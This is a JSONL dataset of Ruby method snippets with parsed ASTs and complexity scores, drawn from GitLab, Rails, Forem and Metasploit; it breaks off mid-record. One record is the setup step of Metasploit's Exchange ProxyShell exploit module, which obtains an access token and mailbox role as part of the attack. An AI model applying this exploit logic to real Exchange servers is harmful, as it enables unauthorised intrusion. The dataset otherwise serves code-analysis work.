{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/single_endpoint_issue_events_importer.rb","start_line":86,"raw_source":"def parent_imported_cache_key\n          \"github-importer/issues/#{collection_method}/already-imported/#{project.id}\"\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_imported_cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"github-importer/issues/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection_method\"]}]},{\"type\":\"str\",\"children\":[\"/already-imported/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]}","id":"fcb11b5a-cc94-4150-9893-4cca5f9e41d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":747,"raw_source":"def approve_mr(merge_request, current_user)\n    approve_mr_email(merge_request, merge_request.target_project, current_user)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"approve_mr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"approve_mr_email\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_project\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}","id":"fd841f98-4339-4097-8655-cb93afb7efe7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rhosts_walker.rb","start_line":67,"raw_source":"def each(&block)\n      return unless @value\n      return unless block_given?\n\n      parse(@value, @datastore).each do |result|\n        block.call(result) if result.is_a?(Msf::DataStore)\n      end\n\n      nil\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@value\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse\",{\"type\":\"ivar\",\"children\":[\"@value\"]},{\"type\":\"ivar\",\"children\":[\"@datastore\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DataStore\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"430da759-109e-47f2-98dd-2b0eb94404f3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/generated_attribute.rb","start_line":228,"raw_source":"def inject_options\n        (+\"\").tap { |s| options_for_migration.each { |k, v| s << \", #{k}: #{v.inspect}\" } }\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options_for_migration\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"inspect\"]}]}]}]}]}]}]}","id":"6396e2a3-6920-4c3c-bfbb-93b7dca6e730"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/json_table_filter.rb","start_line":102,"raw_source":"def field_data\n        return fields if fields\n\n        array = []\n        items.first.each_key { |value| array.push({ 'key' => value }) }\n\n        array\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"field_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"array\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"items\"]},\"first\"]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"array\"]}]}]}","id":"fa7bcc40-6617-4fd3-a153-10bc1f1854bb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":1106,"raw_source":"def cmd_nessus_db_scan_workspace(*args)\n        if args[0] == '-h'\n          print_status('nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>')\n          print_status('Creates a scan based on all the hosts listed in db_hosts for a given workspace.')\n          print_status('Use nessus_policy_list to list all available policies with their corresponding policy IDs')\n          return\n        end\n        if !nessus_verify_db\n          return\n        end\n        if !nessus_verify_token\n          return\n        end\n\n        case args.length\n        when 4\n          policy_id = args[0]\n          name = args[1]\n          desc = args[2]\n          new_workspace = framework.db.find_workspace(args[3])\n        else\n          print_status('Usage: ')\n          print_status('nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>')\n          print_status('Use nessus_policy_list to list all available policies with their corresponding policy IDs')\n          return\n        end\n        if !valid_policy(policy_id)\n          print_error('That policy does not exist.')\n          return\n        end\n        if new_workspace.nil?\n          print_error('That workspace does not exist.')\n          return\n        end\n        framework.db.workspace = new_workspace\n        print_status(\"Switched workspace: #{framework.db.workspace.name}\")\n        targets = ''\n        framework.db.hosts.each do |host|\n          targets << host.address\n          targets << ','\n          print_status(\"Targets: #{targets}\")\n        end\n        targets.chop!\n        print_status(\"Creating scan from policy #{policy_id}, called \\\"#{name}\\\" and scanning all hosts in #{framework.db.workspace.name}\")\n        et = {\n          'enabled' => false,\n          'launch' => 'ONETIME',\n          'name' => name,\n          'text_targets' => targets,\n          'description' => desc,\n          'launch_now' => false\n        }\n        scan = @n.scan_create(policy_id, et)\n        if !scan['error']\n          scan = scan['scan']\n          print_status(\"Scan ID #{scan['id']} successfully created\")\n          print_status(\"Run nessus_scan_launch #{scan['id']} to launch the scan\")\n        else\n          print_error(JSON.pretty_generate(scan))\n        end\n      end","complexity_score":89.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_nessus_db_scan_workspace\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"-h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Creates a scan based on all the hosts listed in db_hosts for a given workspace.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Use nessus_policy_list to list all available policies with their corresponding policy IDs\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nessus_verify_db\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nessus_verify_token\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"policy_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"desc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_workspace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"find_workspace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Usage: \"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Use nessus_policy_list to list all available policies with their corresponding policy IDs\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_policy\",{\"type\":\"lvar\",\"children\":[\"policy_id\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"That policy does not exist.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_workspace\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"That workspace does not exist.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"workspace=\",{\"type\":\"lvar\",\"children\":[\"new_workspace\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Switched workspace: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"workspace\"]},\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"targets\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"hosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"<<\",{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"chop!\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating scan from policy \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_id\"]}]},{\"type\":\"str\",\"children\":[\", called \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\\" and scanning all hosts in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"workspace\"]},\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"et\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"enabled\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"launch\"]},{\"type\":\"str\",\"children\":[\"ONETIME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"text_targets\"]},{\"type\":\"lvar\",\"children\":[\"targets\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"launch_now\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scan\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@n\"]},\"scan_create\",{\"type\":\"lvar\",\"children\":[\"policy_id\"]},{\"type\":\"lvar\",\"children\":[\"et\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"error\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scan\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scan\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Scan ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\" successfully created\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Run nessus_scan_launch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\" to launch the scan\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"lvar\",\"children\":[\"scan\"]}]}]}]}]}]}","id":"46bc2e25-9afe-43c9-a523-610066dda53f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxyshell_rce.rb","start_line":242,"raw_source":"def exploit_setup\n    if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?\n      server_name = datastore['BackendServerName']\n      print_status(\"Internal server name forced to: #{server_name}\")\n    else\n      print_status('Retrieving backend FQDN over RPC request')\n      server_name = request_fqdn\n      print_status(\"Internal server name: #{server_name}\")\n    end\n    @backend_server_name = server_name\n\n    get_common_access_token\n    print_good('Successfully assigned the \\'Mailbox Import Export\\' role')\n    print_good(\"Proceeding with SID: #{@mailbox_user_sid} (#{@mailbox_user_email})\")\n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BackendServerName\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BackendServerName\"]}]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"server_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BackendServerName\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Internal server name forced to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_name\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Retrieving backend FQDN over RPC request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"server_name\",{\"type\":\"send\",\"children\":[null,\"request_fqdn\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Internal server name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_name\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@backend_server_name\",{\"type\":\"lvar\",\"children\":[\"server_name\"]}]},{\"type\":\"send\",\"children\":[null,\"get_common_access_token\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully assigned the 'Mailbox Import Export' role\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Proceeding with SID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mailbox_user_sid\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mailbox_user_email\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"bce34956-b1b0-4848-9af1-46e72549f727"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/plugin/plugin_generator.rb","start_line":339,"raw_source":"def rails_gemfile_entry\n        if options[:skip_gemspec]\n          super\n        elsif rails_prerelease?\n          super.dup.tap do |entry|\n            entry.comment = <<~COMMENT\n              Your gem is dependent on a prerelease version of Rails. Once you can lock this\n              dependency down to a specific version, move it to your gemspec.\n            COMMENT\n          end\n        end\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"rails_gemfile_entry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_gemspec\"]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rails_prerelease?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"dup\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"comment=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Your gem is dependent on a prerelease version of Rails. Once you can lock this\\n\"]},{\"type\":\"str\",\"children\":[\"dependency down to a specific version, move it to your gemspec.\\n\"]}]}]}]},null]}]}]}","id":"cbe2f0f5-94b8-4480-aaba-644e345a393b"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":1170,"raw_source":"def evaluate_front_matter(hash)\n    self.title = hash[\"title\"] if hash[\"title\"].present?\n    set_tag_list(hash[\"tags\"]) if hash[\"tags\"].present?\n    self.published = hash[\"published\"] if %w[true false].include?(hash[\"published\"].to_s)\n\n    self.published_at = hash[\"published_at\"] if hash[\"published_at\"]\n    self.published_at ||= parse_date(hash[\"date\"]) if published\n\n    set_main_image(hash)\n    self.canonical_url = hash[\"canonical_url\"] if hash[\"canonical_url\"].present?\n\n    update_description = hash[\"description\"].present? || hash[\"title\"].present?\n    self.description = hash[\"description\"] if update_description\n\n    self.collection_id = nil if hash[\"title\"].present?\n    self.collection_id = Collection.find_series(hash[\"series\"], user).id if hash[\"series\"].present?\n  end","complexity_score":56.8,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate_front_matter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"title=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tags\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"set_tag_list\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tags\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"true\"]},{\"type\":\"str\",\"children\":[\"false\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"published\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"published=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"published\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"published_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"published_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"published_at\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"published\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"published_at\"]},{\"type\":\"send\",\"children\":[null,\"parse_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"date\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"set_main_image\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"canonical_url\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"canonical_url=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"canonical_url\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"update_description\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"description\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},\"present?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"description=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"description\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"collection_id=\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"series\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"collection_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Collection\"]},\"find_series\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"series\"]}]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"id\"]}]},null]}]}]}","id":"eb694eb4-595e-4d1c-93c7-df3a7688dfb8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/duration_test.rb","start_line":286,"raw_source":"def test_since_and_ago_anchored_to_time_now_when_time_zone_is_not_set\n    Time.zone = nil\n    with_env_tz \"US/Eastern\" do\n      Time.stub(:now, Time.local(2000)) do\n        # since\n        assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.since\n        assert_equal Time.local(2000, 1, 1, 0, 0, 5), 5.seconds.since\n        # ago\n        assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago\n        assert_equal Time.local(1999, 12, 31, 23, 59, 55), 5.seconds.ago\n      end\n    end\n  end","complexity_score":34.03,"ast_json":"{\"type\":\"def\",\"children\":[\"test_since_and_ago_anchored_to_time_now_when_time_zone_is_not_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\",{\"type\":\"str\",\"children\":[\"US/Eastern\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2000]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"A